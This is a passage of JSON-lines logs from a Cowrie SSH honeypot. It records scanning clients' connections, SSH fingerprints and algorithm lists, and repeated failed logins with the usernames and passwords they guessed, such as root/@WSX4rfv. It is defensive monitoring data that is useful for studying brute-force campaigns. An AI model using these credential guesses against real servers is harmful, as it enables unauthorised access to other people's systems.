up14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:08.048315Z","src_ip":"40.83.182.122","session":"49267fe993ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"softbiz4","message":"login attempt [root/softbiz4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:08.405878Z","src_ip":"40.83.182.122","session":"49267fe993ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:09.491014Z","src_ip":"40.83.182.122","session":"49267fe993ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wptech","message":"login attempt [root/wptech] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:12.707012Z","src_ip":"213.209.159.158","session":"b1d19748991d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:15.078697Z","src_ip":"213.209.159.158","session":"b1d19748991d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":35822,"dst_ip":"159.203.135.109","dst_port":22,"session":"f721f959bc3c","protocol":"ssh","message":"New connection: 213.209.159.158:35822 (159.203.135.109:22) [session: f721f959bc3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:15.169416Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.80.170","src_port":53210,"dst_ip":"10.17.0.5","dst_port":22,"session":"36f995e90376","protocol":"ssh","message":"New connection: 198.12.80.170:53210 (10.17.0.5:22) [session: 36f995e90376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:15.250638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:15.261087Z","src_ip":"198.12.80.170","session":"36f995e90376","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:15.281132Z","src_ip":"198.12.80.170","session":"36f995e90376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev!","message":"login attempt [dev/dev!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:15.413350Z","src_ip":"198.12.80.170","session":"36f995e90376","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":56088,"dst_ip":"10.17.0.5","dst_port":22,"session":"331010f2f490","protocol":"ssh","message":"New connection: 62.133.63.178:56088 (10.17.0.5:22) [session: 331010f2f490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:15.672282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:15.677814Z","src_ip":"62.133.63.178","session":"331010f2f490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:15.799197Z","src_ip":"62.133.63.178","session":"331010f2f490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sidorova","message":"login attempt [root/sidorova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:16.158446Z","src_ip":"62.133.63.178","session":"331010f2f490","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:16.404445Z","src_ip":"213.209.159.158","session":"f721f959bc3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:16.408787Z","src_ip":"213.209.159.158","session":"f721f959bc3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:16.441970Z","src_ip":"198.12.80.170","session":"36f995e90376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:17.282521Z","src_ip":"62.133.63.178","session":"331010f2f490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.53.94.246","src_port":38790,"dst_ip":"159.203.135.109","dst_port":22,"session":"70dc2e754b8d","protocol":"ssh","message":"New connection: 202.53.94.246:38790 (159.203.135.109:22) [session: 70dc2e754b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:18.094499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:18.100332Z","src_ip":"202.53.94.246","session":"70dc2e754b8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:18.320093Z","src_ip":"202.53.94.246","session":"70dc2e754b8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@WSX4rfv","message":"login attempt [root/@WSX4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:19.229662Z","src_ip":"202.53.94.246","session":"70dc2e754b8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:20.452977Z","src_ip":"202.53.94.246","session":"70dc2e754b8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www123456","message":"login attempt [root/www123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:22.440125Z","src_ip":"213.209.159.158","session":"f721f959bc3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:24.763669Z","src_ip":"213.209.159.158","session":"f721f959bc3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":1204,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb990870cf61","protocol":"ssh","message":"New connection: 213.209.159.158:1204 (159.203.135.109:22) [session: eb990870cf61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:24.844779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:26.358656Z","src_ip":"213.209.159.158","session":"eb990870cf61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:26.362682Z","src_ip":"213.209.159.158","session":"eb990870cf61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.223.60.209","src_port":35036,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b2b5d93fcbb","protocol":"ssh","message":"New connection: 190.223.60.209:35036 (10.17.0.5:22) [session: 4b2b5d93fcbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:30.877000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:30.881695Z","src_ip":"190.223.60.209","session":"4b2b5d93fcbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:31.008096Z","src_ip":"190.223.60.209","session":"4b2b5d93fcbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"allinone","password":"allinone","message":"login attempt [allinone/allinone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:31.541701Z","src_ip":"190.223.60.209","session":"4b2b5d93fcbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wk240425#","message":"login attempt [root/wk240425#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:32.246891Z","src_ip":"213.209.159.158","session":"eb990870cf61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:32.670195Z","src_ip":"190.223.60.209","session":"4b2b5d93fcbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:34.485299Z","src_ip":"213.209.159.158","session":"eb990870cf61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":7210,"dst_ip":"159.203.135.109","dst_port":22,"session":"82cbe3ce9b27","protocol":"ssh","message":"New connection: 213.209.159.158:7210 (159.203.135.109:22) [session: 82cbe3ce9b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:34.574593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:36.056872Z","src_ip":"213.209.159.158","session":"82cbe3ce9b27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:36.062516Z","src_ip":"213.209.159.158","session":"82cbe3ce9b27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Www.401hk.com$","message":"login attempt [root/Www.401hk.com$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:41.633779Z","src_ip":"213.209.159.158","session":"82cbe3ce9b27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":53078,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b5880f299f1","protocol":"ssh","message":"New connection: 103.15.222.183:53078 (159.203.135.109:22) [session: 6b5880f299f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:41.665571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:41.685064Z","src_ip":"103.15.222.183","session":"6b5880f299f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:41.937807Z","src_ip":"103.15.222.183","session":"6b5880f299f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"192837465q","message":"login attempt [root/192837465q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:42.691773Z","src_ip":"103.15.222.183","session":"6b5880f299f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:43.946124Z","src_ip":"103.15.222.183","session":"6b5880f299f1","protocol":"ssh"}
